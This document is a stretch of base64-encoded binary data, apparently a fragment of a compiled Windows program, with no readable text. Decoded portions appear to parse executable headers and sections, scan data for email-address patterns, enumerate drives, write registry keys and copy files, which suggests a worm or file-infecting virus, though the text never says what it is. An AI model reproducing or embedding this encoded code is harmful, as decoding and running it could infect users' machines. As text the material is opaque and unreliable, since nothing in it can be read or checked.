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 VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D xAxHg/8KfNpqAVhfXl2DxBDDgewEAgAAU1VWV8dEJBABAAAAMtu+Xg5BAL0EAQAAvwEAAID/ dCQQjUQkGIgd1DJJAIgd0DFJAFZo6ChBAFDoBBYAAIPEEFVo1DJJAGoBVujYzv//WVlQjUQk IFBX6Dvg//+DxBQ4HdQySQB0J1Vo0DFJAGoCVuixzv//WVlQjUQkIFBX6BTg//+DxBQ4HdAx SQB1F/9EJBCDfCQQCX6EiB3UMkkAiB3QMUkAX15dW4HEBAIAAMNVi+y4IDAAAOhLGQAAU1ZX aAAAEADobRkAADPbWTvDiUXsdQlfXjPAW8nCBADo8O3//4XAdQ1oYOoAAP8VLNFAAOvqaADQ BwD/NdgzSQDo0/X//1lZagHoovr//+jp/v//jYWI8///aAQBAABQU/8VFNFAAI2F3P7//1Do D9j//1mJXfi+JAkAAOiU7f//hcB1Cmhg6gAA6YcDAACNhdz+//9Q6LPX//+FwFl1Wo2F3P7/ /1NQjYWI8///UP8VfNBAAI2F3P7//2ogUP8VgNBAAI2F3P7//2gAUAEAUOjb6P//U+jG4P// M9K5ACgAAPfxjYXc/v//gcIAUgEAUlDoYtn//4PEFFP/NdgzSQDok83//zlF+FlZiUXoD439 AgAAaHoiAACNheDP//9owPBAAFDowRQAAI2F4M///4id9N///1CNhdz+//9Q6K3v//9WjYWM 9P//U1Doig8AAP91+P812DNJAOgKzf//g8QoOBiJReQPhJUCAABQjYXw9P//UOjBDwAAU+gh 4P//M9KDxAz3deg7Vfh1AUI7Veh8AjPSUv812DNJAOjIzP//i/hZWTgfdRBT/zXYM0kA6LTM 